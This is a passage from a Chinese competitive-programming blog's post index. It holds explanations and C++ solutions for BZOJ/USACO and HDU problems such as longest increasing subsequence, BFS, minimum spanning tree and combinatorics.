WA了两发。需要注意的是，一个格子可能多次被流星烧焦，烧焦的时间要取最小值。 以及，大概出题人的数学不怎么样？这题中描述的第一象限是包含x,y的正半轴以及原点的。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月02日 星期六 14时23分42秒 4File Name :code/bzoj/1611.cpp 5 ************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) ","date":"2016-04-02","externalUrl":null,"permalink":"/2016/04/bzoj-1611/","section":"Posts","summary":"1611: [Usaco2008 Feb]Meteor Shower流星雨 # Time Limit: 5 Sec Memory Limit: 64 MB Submit: 1239 Solved: 537 [Submit][Status][Discuss]","tags":["bfs"],"title":"BZOJ 1611: [Usaco2008 Feb]Meteor Shower流星雨 (BFS)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：有两跟柱子并排竖直放置，每根柱子有n个结点，从上往下标号1..n， 两根柱子间的结点间要连线，给出计划连接的情况。a[i]表示左边结点i连接右边结点a[i].但是要求连线不能交叉，所以计划可能不能全部执行。现在问最多能连接多少条线。 思路：由于不能交叉，而左边的结点是按照顺序给出的，所以右边连接的结点只能是越来越大。其实就是求a[i]的最长上升子序列。感觉算是LIS的一个比较巧妙的应用？ 由于n还是很大。所以必须nlogn的做法。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月01日 星期五 20时43分24秒 4File Name :code/hdu/1950.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=4E4+7; 34int n; 35int a[N]; 36int dp[N]; 37int g[N]; 38 39int main() 40{ 41 #ifndef ONLINE_JUDGE 42 freopen(\"code/in.txt\",\"r\",stdin); 43 #endif 44 ios::sync_with_stdio(false); 45 int T; 46 cin\u003e\u003eT; 47 while (T--) 48 { 49 cin\u003e\u003en; 50 for ( int i = 1 ; i \u003c= n ; i++) cin\u003e\u003ea[i]; 51 ms(g,0x3f); 52 int ans = 0 ; 53 for ( int i = 1 ; i \u003c= n ; i++) 54 { 55 int k = lower_bound(g+1,g+n+1,a[i])-g; 56 dp[i] = k; 57 g[k] = a[i]; 58 ans = max(ans,dp[i]); 59 } 60 61 cout\u003c\u003cans\u003c\u003cendl; 62 } 63 64 65 66 #ifndef ONLINE_JUDGE 67 fclose(stdin); 68 #endif 69 return 0; 70}","date":"2016-04-01","externalUrl":null,"permalink":"/2016/04/hdu1950/","section":"Posts","summary":"题目链接 题意：有两跟柱子并排竖直放置，每根柱子有n个结点，从上往下标号1..n， 两根柱子间的结点间要连线，给出计划连接的情况。a[i]表示左边结点i连接右边结点a[i].但是要求连线不能交叉，所以计划可能不能全部执行。现在问最多能连接多少条线。 思路：由于不能交叉，而左边的结点是按照顺序给出的，所以右边连接的结点只能是越来越大。其实就是求a[i]的最长上升子序列。感觉算是LIS的一个比较巧妙的应用？ 由于n还是很大。所以必须nlogn的做法。","tags":["LIS"],"title":"hdu 1950 Bridging signals (LIS)","type":"post"},{"categories":["ACM"],"content":"1609: [Usaco2008 Feb]Eating Together麻烦的聚餐 # Time Limit: 10 Sec Memory Limit: 64 MB Submit: 1282 Solved: 766 [Submit][Status][Discuss] Description # 为了避免餐厅过分拥挤，FJ要求奶牛们分3批就餐。每天晚饭前，奶牛们都会在餐厅前排队入内，按FJ的设想所有第3批就餐的奶牛排在队尾，队伍的前端由设定为第1批就餐的奶牛占据，中间的位置就归第2批就餐的奶牛了。由于奶牛们不理解FJ的安排，晚饭前的排队成了一个大麻烦。 第i头奶牛有一张标明她用餐批次D_i(1 \u003c= D_i \u003c= 3)的卡片。虽然所有N(1 \u003c= N \u003c= 30,000)头奶牛排成了很整齐的队伍但谁都看得出来，卡片上的号码是完全杂乱无章的。 在若干次混乱的重新排队后，FJ找到了一种简单些的方法：奶牛们不动，他沿着队伍从头到尾走一遍把那些他认为排错队的奶牛卡片上的编号改掉，最终得到一个他想要的每个组中的奶牛都站在一起的队列，例如111222333或者333222111。哦，你也发现了，FJ不反对一条前后颠倒的队列，那样他可以让所有奶牛向后转，然后按正常顺序进入餐厅。 你也晓得，FJ是个很懒的人。他想知道，如果他想达到目的，那么他最少得改多少头奶牛卡片上的编号。所有奶牛在FJ改卡片编号的时候，都不会挪位置。 Input # 第1行: 1个整数：N 第2..N+1行: 第i+1行是1个整数，为第i头奶牛的用餐批次D_i Output # 第1行: 输出1个整数，为FJ最少要改几头奶牛卡片上的编号，才能让编号变成他设想中的样子 Sample Input # 5 1 3 2 1 1 输入说明:队列中共有5头奶牛，第1头以及最后2头奶牛被设定为第一批用餐，第2头奶牛的预设是第三批用餐，第3头则为第二批用餐。 Sample Output # 1 输出说明: 如果FJ想把当前队列改成一个不下降序列，他至少要改2头奶牛的编号，一种可行的方案是：把队伍中2头编号不是1的奶牛的编号都改成1。不过，如果FJ选择把第1头奶牛的编号改成3就能把奶牛们的队伍改造成一个合法的不上升序列了。 思路：先考虑一个方向。最后要排列成一个不下降子序列。 需要修改的最少次数就是总长度减去最长的不下降子序列的长度。 所以问题就变成了最长求不下降子序列的长度。 由于n最大30000，O(n^2)的复杂度会TLE.所以去学了下nlogn的做法LIS nlogn解法讲解 然后再反正做一遍，求最小值即可。 以及：原来upper_bound和lower_bound可以对数组直接用啊。。。 以及：原来reverse也可以对数组用啊。。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年04月01日 星期五 13时03分19秒 4File Name :code/bzoj/1609.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_p","date":"2016-04-01","externalUrl":null,"permalink":"/2016/04/bzoj-1609/","section":"Posts","summary":"1609: [Usaco2008 Feb]Eating Together麻烦的聚餐 # Time Limit: 10 Sec Memory Limit: 64 MB Submit: 1282 Solved: 766 [Submit][Status][Discuss]","tags":["LIS"],"title":"BZOJ 1609: [Usaco2008 Feb]Eating Together麻烦的聚餐(LIS nlogn解法)","type":"post"},{"categories":["ACM"],"content":"首先回顾一下n^2的做法。 状态转移方程为dp[i] =max(1,dp[j]) (1=\u003cj\u003c=i-1\u0026\u0026a[i]\u003ea[j]) 1for ( int i = 1 ; i \u003c= n ; i++) cin\u003e\u003ea[i]; 2 3 for ( int i = 1 ; i \u003c= n ; i++) 4 { 5 dp[i] = 1; 6 for ( int j = 1 ; j \u003c i ; j++) 7 { 8 if (a[i]\u003ea[j]) 9 dp[i] = max(dp[i],dp[j]+1); 10 } 11 ans = max(ans,dp[i]); 12 } 然后我们发现，使得dp[i]得到同一个值的dp[j]可能有多个，那么选择哪个呢？ 假设 x\u003cy\u003ci，a[x]\u003ca[y],dp[x]==dp[y]，那么我们选择x好还是y好呢？ 显然是x好。为什么？因为选择x潜力大。因为可能在x,y之间存在一个z,满足a[x]\u003ca[z]\u003ca[y],如果选择a[y]，就没有办法选择可能使长度更长的a[z]了。通俗得说。。我们要求的是最长上升子序列。。你一开始就弄那么大。。。后面还上哪上升去啊。。。长度小啊。。。 因此我们得出一个结论，对于dp[t]==k的所有t,要选择a[t]最小的，这样有更大可能得到更长的序列。 我们用g[k]表示所有dp[t]==k的t中，最小的a[t]的值。g[k] = min{A[t]} (dp[t] = k) 我们可以发现关于g的两个性质。 （1） g[k]肯定是单调不增的。因为求最小值嘛，肯 （2）g[1]\u003cg[2]\u003cg[3]….g数组是单调递增的。其实也很好理解，因为是求最长上升子序列，长度为i的序列的最末尾元素肯定要比长度为i+1的末尾的元素小，不然还怎么上升。 g数组初始为无穷大，g[i]表示还没有dp[t]==i的值。 设当前已求出的最长上升子序列的长度为len（初始时为1），每次读入一个新元素x： 若x\u003ed[len]，则直接加入到d的末尾，且len++；（利用性质2） 否则，在g中二分查找，找到第一个比x小的数g[k]，并g[k+1]=x，在这里x\u003c=g[k+1]一定成立（性质1,2） 上面这段引用并没有很懂。。。。。回头再看。 模板如下。 1 for ( int i = 1 ; i \u003c= n ; i++) cin\u003e\u003ea[i]; 2 3 ms(g,0x3f); 4 int ans = 0 ; 5 for ( int i = 1 ; i \u003c= n ; i++) 6 { 7 int k = lower_bound(g+1,g+n+1,a[i])-g; 8//如果是求上升序列即使lower_bound,求不下降就是upper_bound 9 dp[i] = k ; 10 g[k] = a[i]; 11 12 ans = max(ans,dp[i]); 13 }","date":"2016-04-01","externalUrl":null,"permalink":"/2016/04/nlogn/","section":"Posts","summary":"首先回顾一下n^2的做法。 状态转移方程为dp[i] =max(1,dp[j]) (1=\u003cj\u003c=i-1\u0026\u0026a[i]\u003ea[j]) 1for ( int i = 1 ; i \u003c= n ; i++) cin\u003e\u003ea[i]; 2 3 for ( int i = 1 ; i \u003c= n ; i++) 4 { 5 dp[i] = 1; 6 for ( int j = 1 ; j \u003c i ; j++) 7 { 8 if (a[i]\u003ea[j]) 9 dp[i] = max(dp[i],dp[j]+1); 10 } 11 ans = max(ans,dp[i]); 12 } 然后我们发现，使得dp[i]得到同一个值的dp[j]可能有多个，那么选择哪个呢？ 假设 x\u003cy\u003ci，a[x]\u003ca[y],dp[x]==dp[y]，那么我们选择x好还是y好呢？ 显然是x好。为什么？因为选择x潜力大。因为可能在x,y之间存在一个z,满足a[x]\u003ca[z]\u003ca[y],如果选择a[y]，就没有办法选择可能使长度更长的a[z]了。通俗得说。。我们要求的是最长上升子序列。。你一开始就弄那么大。。。后面还上哪上升去啊。。。长度小啊。。。","tags":["dp","LIS"],"title":"最长上升子序列nlogn解法","type":"post"},{"categories":["ACM"],"content":"1599: [Usaco2008 Oct]笨重的石子 # Time Limit: 10 Sec Memory Limit: 162 MB Submit: 886 Solved: 614 [Submit][Status][Discuss] Description # 贝西喜欢棋盘游戏和角色扮演类游戏所以她说服Farmer John把她带到玩具店，在那里，她购买了三个不同的骰子，这三个质量均匀的骰子，分别有S1,S2,S3个面。(2 \u003c= S1 \u003c= 20; 2 \u003c= S2 \u003c= 20; 2 \u003c= S3 \u003c= 40). 贝西掷啊掷啊掷啊，想要知道出现几率最大的和是多少。 问题给出三个骰子的面数，让你求出出现几率最大的和是多少。如果有很多种和出现的几率相同，那么就输出小的那一个。 Input # *第一行：三个由空格隔开的整数：s1,s2,s3 Output # *第一行：所要求的解 Sample Input # 3 2 3 Sample Output # 5 输出详解: 这里是所有可能的情况. 1 1 1 -\u003e 3 1 2 1 -\u003e 4 2 1 1 -\u003e 4 2 2 1 -\u003e 5 3 1 1 -\u003e 5 3 2 1 -\u003e 6 1 1 2 -\u003e 4 1 2 2 -\u003e 5 2 1 2 -\u003e 5 2 2 2 -\u003e 6 3 1 2 -\u003e 6 3 2 2 -\u003e 7 1 1 3 -\u003e 5 1 2 3 -\u003e 6 2 1 3 -\u003e 6 2 2 3 -\u003e 7 3 1 3 -\u003e 7 3 2 3 -\u003e 8 5和6出现的几率都是最大的，所以输出5. 暴力。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月31日 星期四 21时13分18秒 4File Name :code/bzoj/1599.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int s1,s2,s3; 34double a[100]; 35int main() 36{ 37 #ifndef ONLINE_JUDGE 38 freopen(\"code/in.txt\",\"r\",stdin); 39 #endif 40 cin\u003e\u003es1\u003e\u003es2\u003e\u003es3; 41 ms(a,0); 42 for ( int i = 1 ;i \u003c= s1 ; i++) 43 { 44 for ( int j = 1 ; j \u003c= s2 ; j++) 45 { 46 for ( int k = 1 ; k \u003c= s3 ; k++) 47 { 48 a[i+j+k] += 1.0/s1+1.0/s2+1.0/s3; 49 } 50 } 51 } 52 53 do","date":"2016-03-31","externalUrl":null,"permalink":"/2016/03/bzoj1599/","section":"Posts","summary":"1599: [Usaco2008 Oct]笨重的石子 # Time Limit: 10 Sec Memory Limit: 162 MB Submit: 886 Solved: 614 [Submit][Status][Discuss]","tags":["brute force"],"title":"bzoj 1599: [Usaco2008 Oct]笨重的石子 (暴力)","type":"post"},{"categories":["ACM"],"content":"# Time Limit: 5 Sec Memory Limit: 64 MB Submit: 774 Solved: 593 [Submit][Status][Discuss] Description # Farmer John有一个过时的打谷机（收割小麦），它需要带子来带动。发动机驱动轮1总是顺时针旋转的，用来带动转轮2，转轮2来带动转轮3，等等。一共有n（2\u003c=n\u003c=1000）个转轮（n-1条带子）。上面的图解描述了转轮的两种连接方式，第一种方式使得两个轮子旋转的方向相同，第二种则相反。 给出一串带子的信息： *Si—驱动轮 *Di—被动轮 *Ci—连接的类型（0=直接连接，1=交叉连接） 不幸的是，列出的信息是随即的。 作为样例，考虑上面的图解，n=4，转轮1是驱动轮，可以得知最后转轮4是逆时针旋转的。 Input # *第一行：一个数n *第二行到第n行：每一行有三个被空格隔开的数：Si，Di，Ci Output # *第一行：一个单独的数，表示第n个转轮的方向，0表示顺时针，1表示逆时针。 Sample Input # 4 2 3 0 3 4 1 1 2 0 Sample Output # 1 思路：傻逼模拟题。。。。排下序。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月31日 星期四 21时04分09秒 4File Name :code/bzoj/1603.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1005; 34int n; 35 36struct node 37{ 38 int s,d,c; 39 40 bool operator \u003c (node b)const 41 { 42 return s\u003cb.s; 43 } 44}a[N]; 45int main() 46{ 47 #ifndef ONLINE_JUDGE 48 freopen(\"code/in.txt\",\"r\",stdin); 49 #endif 50 cin\u003e\u003en; 51 for ( int i = 1 ; i \u003c= n-1 ; i ++) cin\u003e\u003ea[i].s\u003e\u003ea[i].d\u003e\u003ea[i].c; 52 53 sort(a+1,a+n); 54 int flag = 0; 55 for ( int i = 1 ;i \u003c= n-1 ; i++) 56 { 57 if (a[i].c==1) flag^=1; 58 } 59 cout\u003c\u003cflag\u003c\u003cendl; 60 61 #ifndef ONLINE_JUDGE 62 fclose(stdin); 63 #e","date":"2016-03-31","externalUrl":null,"permalink":"/2016/03/bzoj1603/","section":"Posts","summary":"# Time Limit: 5 Sec Memory Limit: 64 MB Submit: 774 Solved: 593 [Submit][Status][Discuss]","tags":["模拟"],"title":"bzoj1603: [Usaco2008 Oct]打谷机 (纱布题)","type":"post"},{"categories":["ACM"],"content":"Description N头牛（2\u003c=n\u003c=1000）别人被标记为1到n，在同样被标记1到n的n块土地上吃草，第i头牛在第i块牧场吃草。 这n块土地被n-1条边连接。 奶牛可以在边上行走，第i条边连接第Ai，Bi块牧场，第i条边的长度是Li（1\u003c=Li\u003c=10000）。 这些边被安排成任意两头奶牛都可以通过这些边到达的情况，所以说这是一棵树。 这些奶牛是非常喜欢交际的，经常会去互相访问,他们想让你去帮助他们计算Q(1\u003c=q\u003c=1000)对奶牛之间的距离。 Input *第一行：两个被空格隔开的整数：N和Q *第二行到第n行：第i+1行有两个被空格隔开的整数：AI，BI，LI *第n+1行到n+Q行：每一行有两个空格隔开的整数：P1，P2，表示两头奶牛的编号。 Output *第1行到第Q行：每行输出一个数，表示那两头奶牛之间的距离。 Sample Input 4 2 2 1 2 4 3 2 1 4 3 1 2 3 2 Sample Output 2 7 思路：直接bfs….貌似因为每个点最多只和两个边相连。。。不用优先队列也行？ 1A,好爽23333. 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月31日 星期四 20时27分01秒 4File Name :code/bzoj/1602.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E3+5; 34int n,q; 35vector\u003c pi \u003eedge[N]; 36bool vis[N]; 37int d[N]; 38 39struct node 40{ 41 int x; 42 int d; 43 44 bool operator \u003c (node b)const 45 { 46 return d\u003eb.d; 47 } 48}; 49 50int bfs( int s,int t) 51{ 52 priority_queue\u003cnode\u003eq; 53 ms(vis,false); 54 node tmp; 55 tmp.x = s; 56 tmp.d = 0 ; 57 q.push(tmp); 58 vis[s] = true; 59 while (!q.empty()) 60 { 61 node pre = q.top();q.pop(); 62 if (pre.x==t) return pre.d; 63 for ( int i = 0 ; i \u003c int(edge[pre.x].size()) ; i++) 64 { 65 node nxt; 66 nxt.x= edge[pre.x][i","date":"2016-03-31","externalUrl":null,"permalink":"/2016/03/bzoj1602/","section":"Posts","summary":"Description N头牛（2\u003c=n\u003c=1000）别人被标记为1到n，在同样被标记1到n的n块土地上吃草，第i头牛在第i块牧场吃草。 这n块土地被n-1条边连接。 奶牛可以在边上行走，第i条边连接第Ai，Bi块牧场，第i条边的长度是Li（1\u003c=Li\u003c=10000）。 这些边被安排成任意两头奶牛都可以通过这些边到达的情况，所以说这是一棵树。 这些奶牛是非常喜欢交际的，经常会去互相访问,他们想让你去帮助他们计算Q(1\u003c=q\u003c=1000)对奶牛之间的距离。","tags":["bfs"],"title":"bzoj 1602: [Usaco2008 Oct]牧场行走 (bfs,优先队列)","type":"post"},{"categories":["ACM"],"content":"1601: [Usaco2008 Oct]灌水 # Time Limit: 5 Sec Memory Limit: 162 MB Submit: 1624 Solved: 1059 [Submit][Status][Discuss] Description # Farmer John已经决定把水灌到他的n(1\u003c=n\u003c=300)块农田，农田被数字1到n标记。把一块土地进行灌水有两种方法，从其他农田饮水，或者这块土地建造水库。 建造一个水库需要花费wi(1\u003c=wi\u003c=100000),连接两块土地需要花费Pij(1\u003c=pij\u003c=100000,pij=pji,pii=0). 计算Farmer John所需的最少代价。 Input # *第一行：一个数n *第二行到第n+1行：第i+1行含有一个数wi *第n+2行到第2n+1行：第n+1+i行有n个被空格分开的数，第j个数代表pij。 Output # *第一行：一个单独的数代表最小代价. Sample Input # 4 5 4 4 3 0 2 2 2 2 0 3 3 2 3 0 4 2 3 4 0 Sample Output # 9 输出详解： Farmer John在第四块土地上建立水库，然后把其他的都连向那一个，这样就要花费3+2+2+2=9 思路：一开始觉得是dp…..本来打算放弃了。。。后来看到p的值，似乎一定能保证n个点相连。 那么每一个点的水源有两个来源，要么自己建，要么从别人那里来。 然后卡住了QAQ….看了题解。。 好巧妙。。因为自己建水库不好处理，我们可以假设一个源点，认为只有源点有水库，而其他点建水库的价钱认为是修一条源点到那个点的路的价钱，这样就把w[i]转化成了p[i][j]的形式。 然后包括源点在内的n+1个点，求最小生成树。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月31日 星期四 19时32分43秒 4File Name :code/bzoj/1601.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=305; 34int n; 35int w[N],mxw; 36int a[N][N]; 37int m; 38int f[N]; 39 40int root ( int x) 41{ 42 if (x!=f[x]) f[x] = root (f[x]); 43 return f[x]; 44} 45 46void merge( int x,int y) 47{ 48 int rx = root (x); 49 int ry = root (y); 50 if (rx","date":"2016-03-31","externalUrl":null,"permalink":"/2016/03/bzoj-1601-usaco2008-oct-/","section":"Posts","summary":"1601: [Usaco2008 Oct]灌水 # Time Limit: 5 Sec Memory Limit: 162 MB Submit: 1624 Solved: 1059 [Submit][Status][Discuss]","tags":["最小生成树"],"title":"bzoj 1601: [Usaco2008 Oct]灌水 (最小生成树)","type":"post"},{"categories":["ACM"],"content":"勤奋的Farmer John想要建造一个四面的栅栏来关住牛们。他有一块长为n（4\u003c=n\u003c=2500）的木板，他想把这块本板切成4块。这四块小木板可以是任何一个长度只要Farmer John能够把它们围成一个合理的四边形。他能够切出多少种不同的合理方案。注意： *只要大木板的切割点不同就当成是不同的方案（像全排列那样），不要担心另外的特殊情况，go ahead。 *栅栏的面积要大于0. *输出保证答案在longint范围内。 *整块木板都要用完。 思路：排列组合。。减法原则。长度为n的木板，有n-1个切点，那么n-1个切点切三刀的方案数就是C(n-1,3) ，但是这里面有不能构成四边形的。 构成四边形的条件是：任意三边之和大于第四边。也就是任意a+b+c\u003ed，可以得到d\u003cn/2 为方便描述，我们不妨认为从左往右切，先且最左边，再切最右边。 并且先讨论最右边的木板是长度最长的。 所以我们最后一刀一定切在n/2之后的地方。 此时无论之前的两刀是怎么切的，由于切完出现的三块的长度和是一定的，所有都一定能构成四边形。 多算的部分就是从n/2点，最左边可以切到3点的方案数。 如果最后一刀切在点i,那么左边还剩下i-1个点，选两个点切，方案数为C(i-1,2) 将多切的方案数sad按照最后一刀的切点累加。 需要注意的是，我们之前为了方便讨论，设最后一个木板是最长的，然而实际上四块木板都有可能是最长的。 所以多切的方案数sad=sad*4 哦，听说这题dp也能过。。。。？反正我是想不到。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月31日 星期四 18时23分16秒 4File Name :code/bzoj/1600.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N = 2600; 34LL n; 35 36int main() 37{ 38 #ifndef ONLINE_JUDGE 39 freopen(\"code/in.txt\",\"r\",stdin); 40 #endif 41 cin\u003e\u003en; 42 LL ans = (n-1)*(n-2)*(n-3)/6; 43 LL sad = 0LL; 44 for ( LL i =n/2 ; i \u003e= 3 ; i--) 45 { 46 sad = sad + ((i-1)*(i-2)/2)*4; //C(i-1,2) ，*4是因为每个点都有可能作为最大点。 47 } 48// cout\u003c\u003c\"ans:\"\u003c\u003cans\u003c\u003cendl; 49// cout\u003c\u003c\"sad:\"\u003c\u003csad\u003c\u003cendl; 50 ans -=sad;","date":"2016-03-31","externalUrl":null,"permalink":"/2016/03/bzoj1600-usaco2008-oct-/","section":"Posts","summary":"勤奋的Farmer John想要建造一个四面的栅栏来关住牛们。他有一块长为n（4\u003c=n\u003c=2500）的木板，他想把这块本板切成4块。这四块小木板可以是任何一个长度只要Farmer John能够把它们围成一个合理的四边形。他能够切出多少种不同的合理方案。注意： *只要大木板的切割点不同就当成是不同的方案（像全排列那样），不要担心另外的特殊情况，go ahead。 *栅栏的面积要大于0. *输出保证答案在longint范围内。 *整块木板都要用完。","tags":["排列组合"],"title":"bzoj1600  [Usaco2008 Oct]建造栅栏 （排列组合）","type":"post"},{"categories":["随笔杂谈"],"content":"。。。。天天划水 药丸 妈的智障。","date":"2016-03-31","externalUrl":null,"permalink":"/2016/03/just-start-bzoj/","section":"Posts","summary":"。。。。天天划水 药丸 妈的智障。","tags":["算法竞赛"],"title":"快开始刷bzoj啊喂","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：有一条n个节点的链，节点i和节点j的距离为abs(i-j) 现在新增加三条边，距离也都为1，然后给出m个询问，每组询问给出两个点s,t，问s,t之间的最短距离。 思路：比赛的时候没搞出来。 观察特点，对于大多数点来说，都是没有直接的改变，只是增加了三条边。总的思路是：之前s到t的距离为abs(s-t),通过枚举中间经过的特殊点，观察是否能使得距离减小。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月31日 星期四 17时18分34秒 4File Name :code/hdu/5636.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34const LL MOD =1E9+7; 35int n,m; 36int z[N]; 37LL a[10]; 38LL dp[10][10]; 39int main() 40{ 41 #ifndef ONLINE_JUDGE 42 freopen(\"code/in.txt\",\"r\",stdin); 43 #endif 44 int T; 45 ios::sync_with_stdio(false); 46 cin\u003e\u003eT; 47 while (T--){ 48 cin\u003e\u003en\u003e\u003em; 49 for ( int i = 1 ;i \u003c= 6 ; i++) cin\u003e\u003ea[i]; 50 for ( int i = 1 ; i \u003c= 6 ;i ++) 51 { 52 for ( int j = 1 ; j \u003c= 6 ; j++) //初始化 //以这六个点构建了张新图，有边相连权为1，否则为点距。 53 dp[i][j] = abs(a[i]-a[j]); 54 } 55 56 for ( int i = 1 ;i \u003c= 6 ; i+=2) 57 { 58 if (a[i]!=a[i+1]) dp[i][i+1]=dp[i+1][i]=1; 59 } 60 61 62 for ( int k = 1 ;k \u003c= 6 ; k++) 63 for ( int i = 1 ; i \u003c= 6 ; i++) 64 for ( int j = 1 ; j \u003c= 6 ; j++) 65 dp[i][j] = min(dp[i][j],dp[i][k]+dp[k][j]); 66 67 LL ans = 0 ; 68 LL cas = 0 ; 69 while (m--) 70 { 71 cas++; 72 LL 